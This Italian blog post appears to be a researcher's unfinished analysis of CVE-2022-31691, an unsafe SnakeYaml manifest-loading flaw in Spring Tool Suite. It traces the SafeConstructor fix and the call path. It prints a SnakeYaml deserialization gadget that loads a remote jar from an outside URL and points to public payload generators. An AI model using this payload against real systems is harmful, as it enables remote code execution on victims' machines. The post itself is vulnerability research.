
Un resoconto del mio (finora inconcludente) esame di CVE-2022-31691
Un resoconto del mio esame (finora inconcludente) su CVE-2022-31691.
Sono un utente frequente di Spring Tool Suite (STS) per Eclipse e tendo a farci affidamento per inizializzare nuovi progetti Spring Boot. Questa vulnerabilità (vedi https://tanzu.vmware.com/security/cve-2022-31691) è una RCE che può essere indotta tramite il caricamento non sicuro di contenuti da un file di configurazione yaml.
SnakeYaml è un parser ed emettitore yaml molto comune per Java. Tuttavia, come in qualsiasi processo di marshalling/unmarshalling, c'è sempre il rischio che contenuti indesiderati vengano caricati direttamente in memoria. SnakeYaml non fa eccezione - vedi https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.
Caricamento YAML
Avvertenza: non è sicuro chiamare Yaml.load() con qualsiasi dato ricevuto da una fonte non attendibile!
Il metodo Yaml.load() converte un documento YAML in un oggetto Java.
Con questo in mente, i manutentori del progetto hanno aggiunto un metodo SafeConstructor:
Nota: se vuoi limitare gli oggetti a oggetti Java standard come List o Long, devi usare SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
La logica è piuttosto chiara, ma chiaramente questo consiglio non viene ben seguito. Non devi cercare lontano per vedere esempi di pratiche di caricamento non sicure. Persino Baeldung (una meravigliosa fonte di informazioni su Spring) non lo menziona nella sua guida: https://www.baeldung.com/java-snake-yaml#basic-usage.
Per sfruttare questa vulnerabilità, devo far sì che questo costruttore esegua l'unmarshalling di un oggetto su cui ho controllo. Fortunatamente, altri hanno già fatto il lavoro pesante qui. https://github.com/artsploit/yaml-payload è un progetto molto semplice per generare payload di exploit per SnakeYaml come https://github.com/mbechler/marshalsec. La logica è:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
Questa vulnerabilità è stata corretta nella versione 4.16.1 di STS. Un rapido sguardo ai commit in questa versione fornisce un paio di utili indicazioni su cosa è stato corretto - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
Il messaggio su questo commit - "Use SafeConstructor in Snakeyaml YAML constructors" è un bel suggerimento su cosa è stato corretto.
Effettivamente, qui è dove SafeConstructor viene sostituito.
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
Se sono interessato a sfruttare questa vulnerabilità, devo introdurre contenuti malevoli in questo costruttore SnakeYaml, quindi devo rintracciare da dove viene chiamato.
La creazione dell'oggetto SnakeYaml riceve un oggetto InputStream creato da un metodo getInputStream().
getInputStream() chiama getManifestFile() per determinare quale file manifest caricare.
getManifestFile() restituisce la posizione di un file manifest (se specificata nel costruttore), oppure null.
La classe ApplicationManifestHandler viene inizializzata nella classe CloudFoundryBootDashModel qui e le viene passato un valore derivato da un valore impostato nel costruttore del metodo resolveDeploymentProperties qui.
Sono abbastanza sicuro di dover impostare una configurazione CloudFoundry per fargli tentare di caricare/invocare il mio file manifest.yml malevolo.
A quanto pare, CloudFoundry è una tecnologia morente, grazie (presumo) a Kubernetes e simili. Non riesco a trovare piattaforme pubbliche per creare una connessione CF, quindi non posso effettivamente testare le cose da qui.
Considerare l'avvio di un'istanza di sviluppo locale di CloudFoundry, anche solo per testare la mia comprensione della vulnerabilità e dell'exploit.